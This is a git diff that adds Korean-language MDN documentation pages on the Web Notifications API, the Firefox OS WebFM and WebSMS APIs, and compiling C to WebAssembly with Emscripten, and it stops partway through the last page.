+<p>알림 만들기는 쉬워서 {{domxref("Notification")}} 생성자만 사용하면 됩니다. 이 생성자는 알림에 표시할 제목과 {{domxref("Notification.icon","icon")}}이나 텍스트 {{domxref("Notification.body","body")}} 같은 알림 조작 옵션 몇 가지를 받도록 돼 있습니다.</p>
+
+<p>예를 들어 할일 목록 예시에서 아래 코드로 필요시 알림을 만듭니다(<code>createNotification()</code> 함수에서 찾을 수 있음).</p>
+
+<pre>var img = '/to-do-notifications/img/icon-128.png';
+var text = '아! "' + title + '" 작업 기한이 만료됐습니다.';
+var notification = new Notification('할 일 목록', { body: text, icon: img });
+</pre>
+
+<h2 id="알림_닫기">알림 닫기</h2>
+
+<p>파이어폭스와 사파리는 알림을 자동으로 금방(약 4초) 닫습니다. 이것은 운영 체계 수준에서도 발생합니다. 그런데 크롬 같은 다른 브라우저는 그렇지 않습니다. 모든 브라우저에서 알림이 닫히게 하려면 {{domxref("WindowTimers.setTimeout","setTimeout()")}} 함수에서 {{domxref("Notification.close")}} 함수를 호출하여 알림을 4초 후에 닫으면 됩니다. <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">bind()</a></code>를 사용하여 <code>close()</code> 호출이 알림에 연동되게 하는 것도 해줘야 합니다.</p>
+
+<pre>setTimeout(notification.close.bind(notification), 4000);</pre>
+
+<div class="note">
+<p><strong>참고</strong>: "close" 이벤트를 받았을 때 알림을 닫은 것이 사용자인지는 보장할 수 없습니다. 이것은 규격과도 일치합니다. 규격에서는 "알림이 닫힐 때 그것이 기반 알림 플랫폼에 의한 것이든지 사용자에 의한 것이든지 닫기 절차가 실행돼야 한다."고 기술하고 있습니다.</p>
+</div>
+
+<h2 id="알림_이벤트">알림 이벤트</h2>
+
+<p><span style="line-height: inherit;">{{domxref("Notification")}} 인스턴스에 촉발되는 이벤트는 다음 네 가지입니다.</span></p>
+
+<dl>
+ <dt><code>click</code></dt>
+ <dd>사용자가 알림을 클릭하면 촉발됩니다.</dd>
+ <dt><code>close</code></dt>
+ <dd>알림이 닫힌 후 촉발됩니다.</dd>
+ <dt><code>error</code></dt>
+ <dd>알림에 문제가 있을 경우 촉발되며 대개 어떤 이유에 의해 알림을 표시할 수 없는 경우입니다.</dd>
+ <dt><code>show</code></dt>
+ <dd>알림이 사용자에게 표시되면 촉발됩니다.</dd>
+</dl>
+
+<p>이 이벤트들은 {{domxref("Notification.onclick","onclick")}}, {{domxref("Notification.onclose","onclose")}}, {{domxref("Notification.onerror","onerror")}}, {{domxref("Notification.onshow","onshow")}} 핸들러로 추적할 수 있습니다. <span style="line-height: inherit;">{{domxref("Notification")}}이 {{domxref("EventTarget")}}을 상속하기 때문에 </span>{{domxref("EventTarget.addEventListener","addEventListener()")}} 메서드를 사용할 수 있습니다.</p>
+
+<h2 id="기존_알림_대체하기">기존 알림 대체하기</h2>
+
+<p>사용자가 잠깐 사이에 알림을 많이 받는 것은 바람직하지 않습니다. 예를 들어 메신저 애플리케이션이 모든 수신 메시지를 사용자에게 알리는데 그게 아주 많다면요? 사용자가 알림 때문에 대량 스팸을 받지 않도록 알림 대기열(큐)을 수정해서 걸려 있는 알림 하나나 여럿을 새로운 알림 하나로 대체할 수 있습니다.</p>
+
+<p>이를 위해 새 알림에 태그를 붙일 수 있습니다. 알림에 이미 같은 태그가 있고 표시되지 않았다면 새 알림으로 이전 알림을 대체하는 것입니다. 같은 태그의 알림이 이미 표시됐다면 이전 알림을 닫고 새 알림을 표시합니다.</p>
+
+<h3 id="태그_예시">태그 예시</h3>
+
+<p>다음과 같은 간단한 HTML을 봅시다.</p>
+
+<pre class="brush: html">&lt;button&gt;알림 실행!&lt;/button&gt;</pre>
+
+<p>다수의 알림을 아래 방법으로 처리할 수 있습니다.</p>
+
+<pre class="brush: js">window.addEventListener('load', function () {
+  // 처음에는 알림 권한이 있는지 확인함
+  // 없으면 권한 요구
+  if (Notification &amp;&amp; Notification.permission !== "granted") {
+    Notification.requestPermission(function (status) {
+      if (Notification.permission !== status) {
+        Notification.permission = status;
+      }
+    });
+  }
+
+  var button = document.getElementsByTagName('button')[0];
+
+  button.addEventListener('click', function () {
+    // 사용자가 알림을 받는 데 동의한 경우
+    // 알림 10개를 보내본다
+    if (Notification &amp;&amp; Notification.permission === "granted") {
+      var i = 0;
+      // 어떤 브라우저(파이어폭스 등)는 일정 시간 동안 알림이 너무 많은 경우 차단하기 때문에 인터벌 사용.
+      var interval = window.setInterval(function () {
+        // 태그 덕분에 "안녕! 9" 알림만 보여야 함
+        var n = new Notification("안녕! " + i, {tag: '알림너무많음'});
+        if (i++ == 9) {
+          window.clearInterval(interval);
+        }
+      }, 200);
+    }
+
+    // 사용자가 알림을 받을지 말지 답하지 않은 경우
+    // 참고: 크롬 때문에 권한 속성이 설정됐는지 알 수 없으므로
+    // "기본" 값을 확인하는 것은 안전하지 않음
+    else if (Notification &amp;&amp; Notification.permission !== "denied") {
+      Notification.requestPermission(function (status) {
+        // 사용자가 ok한 경우
+        if (status === "granted") {
+          var i = 0;
+          // 어떤 브라우저(파이어폭스 등)는 일정 시간 동안 알림이 너무 많은 경우 차단하기 때문에 인터벌 사용.
+          var interval = window.setInterval(function () {
+            // 태그 덕분에 "안녕! 9" 알림만 보여야 함
+            var n = new Notification("안녕! " + i, {tag: '알림너무많음'});
+            if (i++ == 9) {
+              window.clearInterval(interval);
+            }
+          }, 200);
+        }
+
+        // 그 외의 경우 일반적인 모달 alert로 폴백
+        else {
+          alert("안녕!");
+        }
+      });
+    }
+
+    // 사용자가 알림을 거부한 경우
+    else {
+      // 일반적인 모달 alert로 폴백
+      alert("안녕!");
+    }
+  });
+});</pre>
+
+<p>라이브 결과는 아래에서 보세요.</p>
+
+<p>{{ EmbedLiveSample('Tag_example', '100%', 30) }}</p>
+
+<h2 id="규격">규격</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">규격</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Web Notifications')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>현행 표준</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{page("/en-US/Web/API/Notification","Browser compatibility")}}</p>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li><a href="/ko/Apps/Build/User_notifications">사용자 알림 편람</a></li>
+ <li>{{ domxref("Notification") }}</li>
+</ul>
diff --git a/files/ko/webapi/webfm_api/index.html b/files/ko/webapi/webfm_api/index.html
new file mode 100644
index 0000000000..4dcda50760
--- /dev/null
+++ b/files/ko/webapi/webfm_api/index.html
@@ -0,0 +1,132 @@
+---
+title: WebFM API
+slug: WebAPI/WebFM_API
+translation_of: Archive/B2G_OS/API/WebFM_API
+---
+<p>{{ non-standard_header() }}</p>
+<p>{{ B2GOnlyHeader2('installed') }}</p>
+<h2 id="요약">요약</h2>
+<p>WebFM API를 이용하면 FM 라디오를 사용할 수 있습니다. 라디오를 켜고, 끄거나 라디오 방송국을 변경 할 수 있습니다. {{domxref("FMRadio")}} 객체의 {{domxref("window.navigator.mozFMRadio","navigator.mozFMRadio")}} 속성을 통해 사용할 수 있습니다.</p>
+<h2 id="라디오_켜기끄기">라디오 켜기/끄기</h2>
+<p>기본적으로 {{domxref("FMRadio.enable()")}} 메소드로 라디오를 켜고, {{domxref("FMRadio.disable()")}} 메소드로 라디오를 끌 수 있습니다.</p>
+<p>라디오를 켜기 전에 안테나 사용 가능 여부를 체크하는 것이 좋습니다(안테나가 없으면 내장된 라디오가 신호를 받을 수 없습니다). {{domxref("FMRadio.antennaAvailable")}} 속성으로 안테나 사용 가능 여부를 확인할 수 있습니다. 모바일 기기에서는 헤드폰 케이블이 안테나 역할을 하는데, 헤드폰 케이블 연결 상태에 따라 안테나 사용 여부가 변경되면 {{event("antennaavailablechange")}} 이벤트가 발생됩니다.<br>
+  <br>
+  라디오를 켜기 위해서 주파수 번호(MHz 단위)를 {{domxref("FMRadio.enable()")}} 메소드에 넘겨 실행합니다.</p>
+<pre class="brush: js">// The frequency of the radio station
+// to listen express in MHz
+var frequency = 99.1;
+var radio = navigator.mozFMRadio;
+
+if (radio.antennaAvailable) {
+  radio.enable(frenquency);
+} else {
+  alert("You need to plug your headphone");
+}
+
+radio.addEventListener('antennaavailablechange', function () {
+  if (radio.antennaAvailable) {
+    radio.enable(frenquency);
+  } else {
+    radio.disable();
+  }
+})
+</pre>
+<div class="note">
+  <p><strong>Note:</strong> The audio is output through the <code>normal</code> audio channel available on the device.</p>
+</div>
+<h2 id="주파수_변경하기">주파수 변경하기</h2>
+<p>주파수는 직접 또는 자동으로 변경할 수 있습니다. 현재 내장 라디오의 주파수는 {{domxref("FMRadio.frequency")}} 속성으로 알 수 있으며 해당 속성 값은 MHz 단위의 숫자로 표현합니다.</p>
+<h3 id="직접_변경하기">직접 변경하기</h3>
+<p>{{domxref("FMRadio.setFrequency()")}} 메소드는 새로운 주파수를 할당할 때 사용합니다. 설정할 수 있는 주파수는 제한적입니다. 메소드 호출 후 성공 또는 실패 상황을 제어하는 {{domxref("DOMRequest")}} 객체를 반환합니다. 주파수는 다음의 요구사항을 만족해야 합니다.:</p>
+<ul>
+  <li>주파수는 {{domxref("FMRadio.frequencyLowerBound")}}와 {{domxref("FMRadio.frequencyUpperBound")}}에 정의된 범위 내에 있어야 합니다. 이 범위를 벗어나면 에러가 반환됩니다.</li>
+  <li>주파수는 {{domxref("FMRadio.channelWidth")}}에 정의된 값만큼 이동해야 합니다. 그렇지 않으면 주파수는 반올림됩니다. 예를 들어 100MHz가 정상적인 주파수이고 {{domxref("FMRadio.channelWidth","channelWidth")}}가 0.2로 설정된 경우, 100.15 주파수로 설정하더라도 주파수는 100.2로 할당됩니다.</li>
+</ul>
+<pre class="brush: js">var change = radio.setFrequency(frequency);
+
+change.onerror = function () {
+  var min = radio.frequencyLowerBound;
+  var max = radio.frequencyUpperBound;
+  console.warn('The frequency must be within the range [' + min + ',' + max + ']');
+}
+
+change.onsuccess = function () {
+  console.log('The frequency has been set to ' + radio.frequency);
+}
+</pre>
+<h3 id="자동으로_찾기">자동으로 찾기</h3>
+<p>WebFM API를 사용하면 편리하게 라디오 채널을 검색할 수 있습니다. {{domxref("FMRadio.seekUp()")}}(현재 주파수보다 높은 채널 찾기) {{domxref("FMRadio.seekDown()")}} 메소드를 사용합니다. 현재 주파수보다 높거나, 낮은 주파수의 라디오 채널을 찾을 때 사용합니다. 이 메소드들은 호출 후에 성공/실패를 제어할 수 있는 {{domxref("DOMRequest")}} 객체를 반환합니다.<br>
+  <br>
+  이 메소드들은 {{domxref("FMRadio.frequencyLowerBound","frequencyLowerBound")}}나 {{domxref("FMRadio.frequencyUpperBound","frequencyUpperBound")}} 값에 도달할 때까지 반복적으로 더 높거나, 낮은 주파수를 찾습니다. 새로운 라디오 채널을 찾으면 {{event("frequencychange")}} 이벤트가 발생되고 현재 주파수로 변경됩니다.<br>
+  <br>
+  동시에 두 메소드를 실행할 수 없으며(동시에 상위/하위 채널을 찾을 수 없습니다) 동시에 실행할 경우 에러가 반환됩니다. 더 이상 찾을 필요가 없을 때 {{domxref("FMRadio.cancelSeek()")}} 메소드를 호출합니다. 이 메소드 역시 {{domxref("DOMRequest")}} 객체를 반환합니다.</p>
+<pre class="brush: js">var radio   = navigator.mozFMRadio;
+var seeking = false;
+var UP      = document.querySelector("button.up");
+var DOWN    = document.querySelector("button.down");
+
+// When the frequency change, the seek
+// functions automatically stop to seek.
+radio.onfrequencychange = function () {
+  seeking = false;
+}
+
+function seek(direction) {
+  var cancel, search;
+
+  // If the radio is already seeking
+  // we will cancel the current search.
+  if (seeking) {
+    var cancel = radio.cancelSeek();
+    cancel.onsuccess = function () {
+      seeking = false;
+
+      // Once the radio no longer seek,
+      // we can try to seek as expected
+      seek(direction);
+    }
+
+  // Let's seek up
+  } else if (direction === 'up') {
+    // Just to be sure that the radio is turned on
+    if (!radio.enabled) {
+      radio.enable(radio.frequencyLowerBound);
+    }
+    search = radio.seekUp();
+
+  // Let's seek up
+  } else if (direction === 'down' {
+    // Just to be sure that the radio is turned on
+    if (!radio.enabled) {
+      radio.enable(radio.frequencyUpperBound);
+    }
+    search = radio.seekDown();
+  }
+
+  if (search) {
+    search.onsuccess = function () {
+      // Ok, we are seeking now.
+      seeking = true;
+    };
+    search.onerror = function () {
+      // Something goes wrong... ok, let's try again.
+      seek(direction);
+    }
+  }
+}
+
+UP.addEventListener('click', function () {
+  seek('up');
+});
+
+DOWN.addEventListener('click', function () {
+  seek('down');
+});
+</pre>
+<h2 id="표준">표준</h2>
+<p>Not part of any specification.</p>
+<h2 id="참고자료">참고자료</h2>
+<ul>
+  <li>{{domxref("FMRadio")}}</li>
+  <li><a href="https://github.com/mozilla-b2g/gaia/tree/master/apps/fm" title="https://github.com/mozilla-b2g/gaia/tree/master/apps/fm">The FM app on Gaïa</a></li>
+</ul>
diff --git a/files/ko/webapi/websms/index.html b/files/ko/webapi/websms/index.html
new file mode 100644
index 0000000000..9f91f8ff00
--- /dev/null
+++ b/files/ko/webapi/websms/index.html
@@ -0,0 +1,85 @@
+---
+title: WebSMS
+slug: WebAPI/WebSMS
+tags:
+  - Non-standard
+translation_of: Archive/B2G_OS/API/Mobile_Messaging_API
+---
+<p>{{DefaultAPISidebar("Mobile Messaging API")}}</p>
+
+<div class="blockIndicator nonStandard">
+<p><strong>Non-standard</strong><br>
+ This feature is not on a current W3C standards track, but it is supported on the Firefox OS platform. Although implementations may change in the future and it is not supported widely across browsers, it is suitable for use in code dedicated to Firefox OS apps.</p>
+</div>
+
+<div class="blockIndicator warning">
+<p style="text-align: center;">This API is available on <a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> for <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security#App_Types">internal applications</a> only.</p>
+</div>
+
+<h2 id="요약">요약</h2>
+
+<p>WebSMS는 웹 콘텐츠에서 단문 메시지 서비스 (SMS) 또는 멀티미디어 메시지 서비스 (MMS)의 메시지들을 만들고, 보내고, 받을수 있도록 해주는 API 입니다.</p>
+
+<p>이 API는 {{ domxref("MozSmsManager") }} 객체를 반환하는 {{ domxref("window.navigator.mozSms") }} 또는 {{ domxref("MozMobileMessageManager") }} 객체를 반환하는 {{ domxref("window.navigator.mozMobileMessage") }} 를 사용하여 이용 가능합니다. 자세한 내용은 아래의 인터페이스 전체 목록을 통해 보실 수 있습니다.</p>
+
+<h2 id="DOM_인터페이스">DOM 인터페이스</h2>
+
+<h3 id="SMS_인터페이스">SMS 인터페이스</h3>
+
+<ul>
+ <li>{{ domxref("window.navigator.mozSms") }}</li>
+ <li>{{ domxref("MozSmsManager") }}</li>
+ <li>{{ domxref("MozSmsMessage") }}</li>
+ <li>{{ domxref("MozSmsEvent") }}</li>
+ <li>{{ domxref("MozSmsFilter") }}</li>
+ <li>{{ domxref("MozSmsSegmentInfo") }}</li>
+</ul>
+
+<h3 id="MMS_SMS_인터페이스">MMS, SMS 인터페이스</h3>
+
+<ul>
+ <li>{{ domxref("window.navigator.mozMobileMessage") }}</li>
+ <li>{{ domxref("MozMobileMessageManager")}}</li>
+ <li>{{ domxref("MozMmsMessage") }}</li>
+ <li>{{ domxref("MozMmsEvent") }}</li>
+ <li>{{ domxref("MozMobileMessageThread") }}</li>
+</ul>
+
+<h2 id="예제_코드와_소개">예제 코드와 소개</h2>
+
+<ul>
+ <li><a href="/ko/WebAPI/WebSMS/Introduction_to_WebSMS" title="ko/WebAPI/WebSMS/Introduction_to_WebSMS">WebSMS 소개</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<p>이 API는 비 표준 스펙의 구현체입니다. 하지만 W3C의 <a href="http://www.w3.org/2012/sysapps/" title="http://www.w3.org/2012/sysapps/">System Application Working Group</a>에서 논의되고 있습니다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Messaging')}}</td>
+   <td>{{Spec2('Messaging')}}</td>
+   <td>Editor Draft (WIP).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="설정_이용_가능한_환경">설정 &amp; 이용 가능한 환경</h2>
+
+<div id="compat-mobile"> </div>
+
+<ul>
+ <li>WebSMS는 기본적으로 비활성화 되어있습니다. <code>dom.sms.enabled 설정을 true로 지정하여야 활성화됩니다.</code></li>
+ <li>WebSMS API를 사용하도록 허가된 호스트명들의 화이트 리스트(콤마로 구분)는 반드시 <code>dom.sms.whitelist 설정에 명시되어야 합니다. 이 문자열은 기본적으로 빈 문자열입니다.</code></li>
+ <li>WebSMS는 오직 Firefox OS (B2G) 에 인증된 앱에서만 이용 가능합니다.</li>
+ <li>MMS는 Firefox OS 1.1 부터 이용 가능합니다.고 자료</li>
+ <li><a class="link-https" href="https://wiki.mozilla.org/WebAPI/WebSMS" title="https://wiki.mozilla.org/WebAPI/WebSMS">WebSMS API</a> (설계 문서)</li>
+</ul>
diff --git a/files/ko/webapi/websms/introduction_to_mobile_message_api/introduction_to_websms/index.html b/files/ko/webapi/websms/introduction_to_mobile_message_api/introduction_to_websms/index.html
new file mode 100644
index 0000000000..723f12561a
--- /dev/null
+++ b/files/ko/webapi/websms/introduction_to_mobile_message_api/introduction_to_websms/index.html
@@ -0,0 +1,23 @@
+---
+title: WebSMS 소개
+slug: WebAPI/WebSMS/Introduction_to_Mobile_Message_API/Introduction_to_WebSMS
+translation_of: Archive/B2G_OS/API/Mobile_Messaging_API/Introduction_to_Mobile_Message_API
+---
+<p>휴대전화의 핵심 기능 중 하나는 SMS 메시지 전송과 수신이다. 이 기능은 <a class="link-https" href="https://wiki.mozilla.org/WebAPI/WebSMS">WebSMS API</a>를 사용하여 구현 가능하다. 다음은 구현 방법 예제이다.</p>
+<pre class="brush: js">// SMS object
+var sms = navigator.mozSms;
+
+// Send a message
+sms.send("123456789", "Hello world!");
+
+// Receive a message
+sms.onreceived = function (event) {
+    // Read message
+    console.log(event.message);
+};
+</pre>
+<h2 id="참조_문서">참조 문서</h2>
+<ul>
+  <li><a href="/en/API/WebSMS" title="WebSMS">WebSMS</a></li>
+  <li><a class="link-https" href="https://wiki.mozilla.org/WebAPI/WebSMS">WebSMS API</a> (설계 문서)</li>
+</ul>
diff --git a/files/ko/webassembly/c_to_wasm/index.html b/files/ko/webassembly/c_to_wasm/index.html
new file mode 100644
index 0000000000..60ed315e87
--- /dev/null
+++ b/files/ko/webassembly/c_to_wasm/index.html
@@ -0,0 +1,199 @@
+---
+title: C/C++ 모듈을 웹어셈블리로 컴파일하기
+slug: WebAssembly/C_to_wasm
+tags:
+  - 엠스크립튼
+  - 웹어셈블리
+translation_of: WebAssembly/C_to_wasm
+---
+<div>{{WebAssemblySidebar}}</div>
+
+<p class="summary">당신이 C/C++ 같은 언어로 새로운 모듈을 작성하고 있다면, 당신은 <a href="/ko/docs/Mozilla/Projects/Emscripten">Emscripten</a>같은 툴을 이용해서 WebAssembly로 컴파일 할 수 있습니다. 이것이 어떻게 가능한지 봅시다.</p>
+
+<h2 id="Emscripten_환경_준비하기">Emscripten 환경 준비하기</h2>
+
+<p>필요한 개발 환경을 설정해 봅시다.</p>
+
+<h3 id="요구_사항">요구 사항</h3>
+
+<p>Emscripten SDK를 설치하기 위해, 아래 설명을 참고하세요. <br>
+ <a href="https://kripken.github.io/emscripten-site/docs/getting_started/downloads.html">https://kripken.github.io/emscripten-site/docs/getting_started/downloads.html</a></p>
+
+<h2 id="예제_컴파일_하기">예제 컴파일 하기</h2>
+
+<p>환경설정이 완료되었다면, Emscripten로 C로 작성된 예제를 어떻게 컴파일하는지 살펴보겠습니다. Emscripten으로 컴파일하는 방법은 여러 가지가 있지만, 여기서는 주요 시나리오 두 가지만 다루도록 하겠습니다.</p>
+
+<ul>
+ <li>wasm으로 컴파일 하고 코드를 실행하기 위해 HTML을 만듭니다. 그리고 wasm을 실행하기 위한 JavaScript "glue"코드를 추가합니다.</li>
+ <li>wasm으로 컴파일하고 바로 JavaScript 코드를 만듭니다.</li>
+</ul>
+
+<p>아래에서 자세히 보겠습니다.</p>
+
+<h3 id="HTML와_JavaScript_만들기">HTML와 JavaScript 만들기</h3>
+
+<p>이 방법은 브라우저에서 WebAssembly 코드를 실행하는 데 필요한 모든 것을 emscripten에서 생성하도록 하는 가장 간단한 방법입니다.</p>
+
+<ol>
+ <li>먼저 컴파일 할 예제가 필요합니다. 다음 C 예제 코드를 복사하여 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">hello.c</span></font> 파일을 만듭니다.
+
+  <pre class="notranslate"><code>#include &lt;stdio.h&gt;
+
+int main(int argc, char ** argv) {
+  printf("Hello World\n");
+}</code></pre>
+ </li>
+ <li>terminal을 사용하여 Emscripten 컴파일 환경에서 다음의 명령어를 실행합니다. <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">hello.c </span></font>파일과 동일한 경로에서 실행하세요
+  <pre class="notranslate"><code>emcc hello.c -s WASM=1 -o hello.html</code></pre>
+ </li>
+</ol>
+
+<p>명령과 함께 전달된 옵션은 다음과 같습니다.</p>
+
+<ul>
+ <li><code>-s WASM=1</code> — wasm으로 결과물을 만들어 내는 옵션. 이것을 지정하지 않으면 기본적으로 Emscripten이 <a href="http://asmjs.org/">asm.js</a>를 출력합니다</li>
+ <li><code>-o hello.html</code> — Emscripten이 코드를 실행할 HTML 페이지 (및 사용할 파일 이름)를 생성하고 wasm 모듈과 JavaScript "glue"코드를 생성하여 wasm을 컴파일하고 인스턴스화하여 웹 환경에서 사용할 수 있도록 지정합니다.</li>
+</ul>
+
+<p>코드를 실행하면 소스 폴더에 3개의 파일이 생길 것입니다.</p>
+
+<ul>
+ <li>바이너리 wasm 모듈 코드 (<code>hello.wasm</code>)</li>
+ <li>native c 함수와 Javascript/wasm을 번역해주는 glue코드를 포함한 자바스크립트 파일 (<code>hello.js</code>)</li>
+ <li>Wasm 코드를 로드, 컴파일 및 인스턴스화하고 브라우저에 출력을 표시하는 HTML 파일 (<code>hello.html</code>)</li>
+</ul>
+
+<h3 id="예제_실행하기">예제 실행하기</h3>
+
+<p>이제 WebAssembly를 지원하는 브라우저에서 <code>hello.html</code>을 로드해야합니다. Firefox 52+ 및 Chrome 57+, 최신 Opera에서 기본적으로 활성화됩니다 (about:config 또는 <code>javascript.options.wasm</code> 플래그를 활성화하여 Firefox 47+에서 wasm 코드를 실행하거나 Chrome (51+) 및 Opera (38+) <em>chrome://flags</em>로 이동하여 Experimental WebAssembly 플래그를 사용하도록 설정합니다.)</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: 생성된 HTML 파일 (<code>hello.html</code>) 을 로컬 하드(예: <code>file://your_path/hello.html</code>)에서 직접 읽으려고 하면 wasm의 동기, 비동기 패치(fetch)라인에 따라 에러메시지가 표시됩니다. HTTP 서버로 HTML파일을 실행해야 합니다. — <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Common_questions/set_up_a_local_testing_server">로컬 테스팅 서버를 셋업하는 방법</a>을 참고하세요.</p>
+</div>
+
+<p>모든 것이 계획대로 작동했다면 Emscripten 콘솔의 "Hello world" 출력이 웹 페이지와 브라우저의 JavaScript 콘솔에 나타나야 합니다. 축하합니다. WebAssembly에 C를 컴파일하고 브라우저에서 실행했습니다!</p>
+
+<h3 id="사용자_정의_HTML_템플릿_사용하기">사용자 정의 HTML 템플릿 사용하기</h3>
+
+<p>사용자 정의 HTML 템플릿을 사용하는 방법에 대해 보도록 하겠습니다.</p>
+
+<ol>
+ <li>
+  <p>우선 다음 C 코드를 새로운 폴더의 <code>hello2.c</code>파일로 만듭니다.</p>
+
+  <pre class="notranslate"><code>#include &lt;stdio.h&gt;
+
+int main(int argc, char ** argv) {
+    printf("Hello World\n");
+
+}</code></pre>
+ </li>
+ <li>
+  <p>emsdk 저장소에서 <code>shell_minimal.html</code> 파일을 검색하십시오. 이전의 새 디렉토리에서 <code>html_template</code>이라는 서브 디렉토리로 복사하십시오.</p>
+ </li>
+ <li>
+  <p>이제 Emscripten 컴파일러 환경 터미널 창에서 새 디렉토리로 이동 한 후 다음 명령을 실행합니다.</p>
+
+  <pre class="notranslate"><code>emcc -o hello2.html hello2.c -O3 -s WASM=1 --shell-file html_template/shell_minimal.html</code></pre>
+
+  <p>이번 명령어의 옵션은 이전에 입력한것과 조금 다릅니다.</p>
+
+  <ul>
+   <li>컴파일러가 여전히 JavaScript 글루 코드와 <code>.html</code>을 출력한다는 것을 의미하는 <code>-o hello2.html</code>을 지정했습니다.</li>
+   <li>또한 <code>--shell-file html_template/shell_minimal.html</code>을 지정했습니다.이 예제는 예제를 실행할 HTML을 만드는 데 사용할 HTML 템플릿의 경로를 제공합니다.</li>
+  </ul>
+ </li>
+ <li>
+  <p>자 이제 예제를 실행해 봅니다. 위에있는 명령어를 실행하면 <code>hello2.html</code>파일을 생성해 냅니다. 생성 된 wasm을 로드하고 실행할 때 추가되는 글루 코드가있는 템플릿과 거의 동일한 내용을 갖습니다. 브라우저에서 열면 마지막 예제와 같은 결과를 볼 수 있습니다.</p>
+ </li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: <code>-o</code> 플래그에 HTML 파일 대신 .js 파일을 지정하여 전체 HTML이 아닌 JavaScript "glue"파일* 을 출력하도록 지정할 수 있습니다 (예 : <code>emcc -o hello2.js hello2.c -O3 -s WASM=1)</code>. 이것은 고급진 방법인데 사용자 정의 HTML을 처음부터 완전히 빌드 할 수 있습니다. 제공된 HTML 템플리트를 사용하는 것이 보통 더 쉽습니다.</p>
+
+<ul>
+ <li>Emscripten은 메모리 할당, 메모리 누수 및 기타 여러 가지 문제를 처리하기 위해 다양한 JavaScript "접착제"코드가 필요합니다.</li>
+</ul>
+</div>
+
+<h3 id="C_코드에서_사용자_정의된_함수_호출">C 코드에서 사용자 정의된 함수 호출</h3>
+
+<p>JavaScript에서 C 코드에 정의된 함수를 쓰고 싶은 경우 Emscripten <code>ccall()</code> 함수와 <code>EMSCRIPTEN_KEEPALIVE</code>(외부에서 사용가능한 함수 목록에 추가해주는 기능)을 통해 함수를 사용 할 수 있습니다 (자세한 내용은 다음 참조 : <a href="https://kripken.github.io/emscripten-site/docs/getting_started/FAQ.html#why-do-functions-in-my-c-c-source-code-vanish-when-i-compile-to-javascript-and-or-i-get-no-functions-to-process">JavaScript로 컴파일 할 때 C / C ++ 소스 코드의 함수가 사라지고 처리 할 함수가없는 이유는 무엇입니까?</a>). 어떻게 작동하는지 살펴 보겠습니다.</p>
+
+<ol>
+ <li>
+  <p>다음 코드를 새 디렉토리에 <code>hello3.c</code>로 저장하십시오.</p>
+
+  <pre class="notranslate"><code>#include &lt;stdio.h&gt;
+#include &lt;emscripten/emscripten.h&gt;
+
+int main(int argc, char ** argv) {
+    printf("Hello World\n");
+}
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+void EMSCRIPTEN_KEEPALIVE myFunction(int argc, char ** argv) {
+  printf("MyFunction Called\n");
+}
+
+#ifdef __cplusplus
+}
+#endif</code></pre>
+
+  <p>기본적으로 Emscripten이 생성 한 코드는 항상 <code>main()</code> 함수를 호출하고 다른 함수는 불필요한 코드로 제거됩니다. 함수 이름 앞에 <code>EMSCRIPTEN_KEEPALIVE</code>를 쓰면 데드코드로 제거되지 않습니다. <code>EMSCRIPTEN_KEEPALIVE</code>를 사용하려면 <code>emscripten.h</code> 라이브러리를 가져와야합니다.</p>
+
+  <div class="note">
+  <p><strong>Note</strong>: #ifdef 블록을 포함하여 C++ 코드에 이 코드를 포함 시켜도 이 예제는 계속 작동합니다. 그냥 C코드를 넣으면 C와 C++ name mangling 규칙으로 인해 문제가 생길 수 있지만 <code>extern "C"</code>를 사용하여 이 문제를 해결하면 됩니다.</p>
+  </div>
+ </li>
+ <li>
+  <p>이제 <code>html_template/shell_minimal.html</code>을 이 새로운 디렉토리에 추가하십시오. (개발환경에 넣고 개발하는것이 편합니다).</p>
+ </li>
+ <li>
+  <p>이제 컴파일 단계를 다시 실행 해 봅시다. 최신 디렉토리 (Emscripten 컴파일러 환경 터미널 창 내부)에서 다음 명령으로 C 코드를 컴파일하십시오. (우리가 <code>NO_EXIT_RUNTIME</code>으로 컴파일 할 필요가 있다는 것을 기억하십시오. <code>main()</code>이 종료 될 때 런타임이 종료 될 것입니다 - 적절한 C 에뮬레이션에 필요합니다. 예를 들어 atexits가 호출됩니다 - 컴파일 된 코드를 호출하는 것은 유효하지 않습니다 .)</p>
+
+  <pre class="notranslate"><code>emcc -o hello3.html hello3.c -O3 -s WASM=1 --shell-file html_template/shell_minimal.html -s NO_EXIT_RUNTIME=1  -s EXTRA_EXPORTED_RUNTIME_METHODS='["ccall"]'</code></pre>
+ </li>
+ <li>
+  <p>브라우저에 예제를 다시로드하면 이전과 같은 것을 볼 수 있습니다!</p>
+ </li>
+ <li>
+  <p>이제 JavaScript에 있는 새로운 <code>myFunction()</code> <code>함수를 실행</code>해보겠습니다. 먼저, 텍스트 에디터에서 hello.html을 열어주세요</p>
+ </li>
+ <li>
+  <p><code>&lt;script type='text/javascript'&gt;</code> 태그 바로 위에 {{HTMLElement("button")}}을 추가해 보겠습니다.</p>
+
+  <pre class="notranslate"><code>&lt;button class="mybutton"&gt;Run myFunction&lt;/button&gt;</code></pre>
+ </li>
+ <li>
+  <p>이제 첫 번째 {{HTMLElement("script")}} 요소의 끝에 다음 코드를 추가합니다.</p>
+
